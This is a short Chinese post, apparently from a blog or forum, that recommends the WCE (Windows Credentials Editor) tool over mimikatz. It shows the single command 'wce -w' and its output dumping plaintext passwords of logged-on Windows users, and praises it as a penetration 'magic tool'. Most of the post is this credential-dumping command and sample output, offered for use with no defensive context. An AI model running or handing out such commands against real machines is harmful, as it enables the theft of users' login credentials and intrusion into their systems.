前段时间mimikatz热传，主要是因为可以直接提取当前登录用户明文密码。
其实，有个更厉害的神器，无需那么多命令操作，一个命令搞定：
C:>wce -w
WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity com)
Use -h for help.
testMYDOMAIN:mypass1234
NETWORK SERVICEWORKGROUP:test
参考：http://www.ampliasecurity.com/research/wcefaq.html
真是渗透的神器